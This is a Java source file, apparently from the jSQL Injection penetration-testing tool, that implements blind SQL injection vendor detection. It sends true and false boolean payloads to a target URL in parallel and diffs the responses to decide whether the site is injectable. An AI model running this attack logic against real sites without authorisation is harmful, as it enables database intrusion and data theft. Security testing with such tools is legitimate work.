View Javadoc
1   package com.jsql.model.injection.strategy.blind;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.exception.StoppedByUserSlidingException;
5   import com.jsql.model.injection.strategy.blind.callable.AbstractCallableBit;
6   import com.jsql.model.injection.strategy.blind.callable.CallableVendor;
7   import com.jsql.model.injection.strategy.blind.patch.Diff;
8   import com.jsql.model.injection.vendor.model.Vendor;
9   import com.jsql.model.injection.vendor.model.VendorYaml;
10  import com.jsql.util.LogLevelUtil;
11  import org.apache.commons.lang3.StringUtils;
12  import org.apache.logging.log4j.LogManager;
13  import org.apache.logging.log4j.Logger;
14  
15  import java.util.ArrayList;
16  import java.util.Collection;
17  import java.util.List;
18  import java.util.concurrent.ExecutionException;
19  import java.util.concurrent.ExecutorService;
20  import java.util.concurrent.Future;
21  
22  public class InjectionVendor {
23  
24      private static final Logger LOGGER = LogManager.getRootLogger();
25  
26      private String blankFalseMark;  // Source code of the FALSE web page (e.g. ?id=-123456789)
27  
28      private List<Diff> constantTrueMark = new ArrayList<>();
29  
30      protected final InjectionModel injectionModel;
31  
32      private final List<String> falsy;
33  
34      public InjectionVendor(InjectionModel injectionModel, String vendorSpecificWithOperator, Vendor vendor) {
35          this.injectionModel = injectionModel;
36  
37          List<String> truthy = this.injectionModel.getMediatorVendor().getVendor().instance().getTruthyBit();
38          this.falsy = this.injectionModel.getMediatorVendor().getVendor().instance().getFalsyBit();
39          
40          // No blind
41          if (truthy.isEmpty() || this.injectionModel.isStoppedByUser()) {
42              return;
43          }
44          
45          // Call the SQL request which must be FALSE (usually ?id=-123456879)
46          this.blankFalseMark = this.callUrl(
47              StringUtils.EMPTY,
48              "vendor:" + vendor
49          );
50  
51          // Concurrent calls to the FALSE statements,
52          // it will use inject() from the model
53          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableVendorTagTrue");
54          Collection<CallableVendor> listCallableTagTrue = new ArrayList<>();
55          for (String urlTest: truthy) {
56              listCallableTagTrue.add(
57                  new CallableVendor(
58                      vendorSpecificWithOperator.replace(VendorYaml.TEST, urlTest),
59                      this,
60                      "vendor#true"
61                  )
62              );
63          }
64          
65          // Delete junk from the results of FALSE statements,
66          // keep only opcodes found in each and every FALSE pages.
67          // Allow the user to stop the loop
68          try {
69              List<Future<CallableVendor>> listTagTrue = taskExecutor.invokeAll(listCallableTagTrue);
70              this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
71              
72              for (var i = 1 ; i < listTagTrue.size() ; i++) {
73                  if (this.injectionModel.isStoppedByUser()) {
74                      return;
75                  }
76                  if (this.constantTrueMark.isEmpty()) {
77                      this.constantTrueMark = listTagTrue.get(i).get().getOpcodes();
78                  } else {
79                      this.constantTrueMark.retainAll(listTagTrue.get(i).get().getOpcodes());
80                  }
81              }
82          } catch (ExecutionException e) {
83              LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
84          } catch (InterruptedException e) {
85              LOGGER.log(LogLevelUtil.IGNORE, e, e);
86              Thread.currentThread().interrupt();
87          }
88          
89          this.initFalseMarks(vendorSpecificWithOperator);
90      }
91      
92      private void initFalseMarks(String vendorSpecificWithMode) {
93          // Concurrent calls to the TRUE statements,
94          // it will use inject() from the model.
95          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableVendorTagFalse");
96          Collection<CallableVendor> listCallableTagFalse = new ArrayList<>();
97          for (String urlTest: this.falsy) {
98              listCallableTagFalse.add(
99                  new CallableVendor(
100                     vendorSpecificWithMode.replace(VendorYaml.TEST, urlTest),
101                     this,
102                     "vendor#false"
103                 )
104             );
105         }
106         
107         // Remove TRUE opcodes in the FALSE opcodes, because
108         // a significant FALSE statement shouldn't contain any TRUE opcode.
109         // Allow the user to stop the loop.
110         try {
111             List<Future<CallableVendor>> listTagFalse = taskExecutor.invokeAll(listCallableTagFalse);
112             this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
113             for (Future<CallableVendor> falseTag: listTagFalse) {
114                 if (this.injectionModel.isStoppedByUser()) {
115                     return;
116                 }
117                 this.constantTrueMark.removeAll(falseTag.get().getOpcodes());
118             }
119         } catch (ExecutionException e) {
120             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
121         } catch (InterruptedException e) {
122             LOGGER.log(LogLevelUtil.IGNORE, e, e);
123             Thread.currentThread().interrupt();
124         }
125     }
126 
127     public boolean isInjectable(String vendorSpecificWithMode) throws StoppedByUserSlidingException {
128         if (this.injectionModel.isStoppedByUser()) {
129             throw new StoppedByUserSlidingException();
130         }
131 
132         var blindTest = new CallableVendor(
133             vendorSpecificWithMode.replace(VendorYaml.TEST, this.injectionModel.getMediatorVendor().getVendor().instance().sqlBlindConfirm()),
134             this,
135             "vendor#confirm"
136         );
137         try {
138             blindTest.call();
139         } catch (Exception e) {
140             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
141         }
142 
143         return blindTest.isTrue() && !this.constantTrueMark.isEmpty();
144     }
145     
146     public String callUrl(String urlString, String metadataInjectionProcess) {
147         return this.injectionModel.injectWithoutIndex(urlString, metadataInjectionProcess);
148     }
149 
150     public String callUrl(String urlString, String metadataInjectionProcess, AbstractCallableBit<?> callableBoolean) {
151         return this.injectionModel.injectWithoutIndex(urlString, metadataInjectionProcess, callableBoolean);
152     }
153 
154 
155     // Getter
156 
157     public String getBlankFalseMark() {
158         return this.blankFalseMark;
159     }
160     
161     public List<Diff> getConstantTrueMark() {
162         return this.constantTrueMark;
163     }
164 }